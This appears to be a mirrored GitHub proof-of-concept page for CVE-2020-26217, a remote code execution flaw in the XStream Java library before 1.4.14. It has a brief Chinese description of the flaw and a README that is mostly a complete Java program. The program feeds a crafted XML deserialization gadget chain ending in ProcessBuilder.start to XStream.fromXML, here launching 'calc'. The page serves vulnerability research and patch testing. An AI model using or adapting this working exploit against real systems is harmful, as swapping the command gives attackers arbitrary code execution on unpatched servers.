CVE-2020-26217 PoC — XStream 操作系统命令注入漏洞

Source

https://github.com/novysodope/CVE-2020-26217-XStream-RCE-POC

Associated Vulnerability

Title:XStream 操作系统命令注入漏洞 (CVE-2020-26217)
Description:XStream是XStream（Xstream）团队的一个轻量级的、简单易用的开源Java类库，它主要用于将对象序列化成XML（JSON）或反序列化为对象。 XStream 1.4.14之前版本存在操作系统命令注入漏洞，该漏洞源于容易受到远程代码执行的攻击。攻击者可利用该漏洞仅通过操纵已处理的输入流来运行任意shell命令。只有依赖黑名单的用户才会受到影响。

Description

CVE-2020-26217 XStream RCE POC

Readme

# CVE-2020-26217-XStream-RCE-POC
## e.g
```java
package org.example;
import com.thoughtworks.xstream.XStream;

import java.io.IOException;

public class CVE_2020_26217{
    public static void main(String[] args) throws IOException{
        XStream xStream = new XStream();
        String payload = "<map>\n" +
                "  <entry>\n" +
                "    <jdk.nashorn.internal.objects.NativeString>\n" +
                "      <flags>0</flags>\n" +
                "      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>\n" +
                "        <dataHandler>\n" +
                "          <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>\n" +
                "            <contentType>text/plain</contentType>\n" +
                "            <is class='java.io.SequenceInputStream'>\n" +
                "              <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>\n" +
                "                <iterator class='javax.imageio.spi.FilterIterator'>\n" +
                "                  <iter class='java.util.ArrayList$Itr'>\n" +
                "                    <cursor>0</cursor>\n" +
                "                    <lastRet>-1</lastRet>\n" +
                "                    <expectedModCount>1</expectedModCount>\n" +
                "                    <outer-class>\n" +
                "                      <java.lang.ProcessBuilder>\n" +
                "                        <command>\n" +
                "                          <string>calc</string>\n" +
                "                        </command>\n" +
                "                      </java.lang.ProcessBuilder>\n" +
                "                    </outer-class>\n" +
                "                  </iter>\n" +
                "                  <filter class='javax.imageio.ImageIO$ContainsFilter'>\n" +
                "                    <method>\n" +
                "                      <class>java.lang.ProcessBuilder</class>\n" +
                "                      <name>start</name>\n" +
                "                      <parameter-types/>\n" +
                "                    </method>\n" +
                "                    <name>start</name>\n" +
                "                  </filter>\n" +
                "                  <next/>\n" +
                "                </iterator>\n" +
                "                <type>KEYS</type>\n" +
                "              </e>\n" +
                "              <in class='java.io.ByteArrayInputStream'>\n" +
                "                <buf></buf>\n" +
                "                <pos>0</pos>\n" +
                "                <mark>0</mark>\n" +
                "                <count>0</count>\n" +
                "              </in>\n" +
                "            </is>\n" +
                "            <consumed>false</consumed>\n" +
                "          </dataSource>\n" +
                "          <transferFlavors/>\n" +
                "        </dataHandler>\n" +
                "        <dataLen>0</dataLen>\n" +
                "      </value>\n" +
                "    </jdk.nashorn.internal.objects.NativeString>\n" +
                "    <string>test</string>\n" +
                "  </entry>\n" +
                "</map>";
        xStream.fromXML(payload);
    }

}
```
![](https://assets.baklib.com/t/3f5cfd6c-1cc9-46dd-b035-da429b349cd0/u/233c4a2d-9207-42d6-9b81-cfb0436aae6f/image1605583269918.png)

File Snapshot


 [4.0K]  /data/pocs/ab4e5a52498fbde60a373e2bd06ed5476def5b00
├── [1.9K]  POC
└── [3.5K]  README.md

0 directories, 2 files

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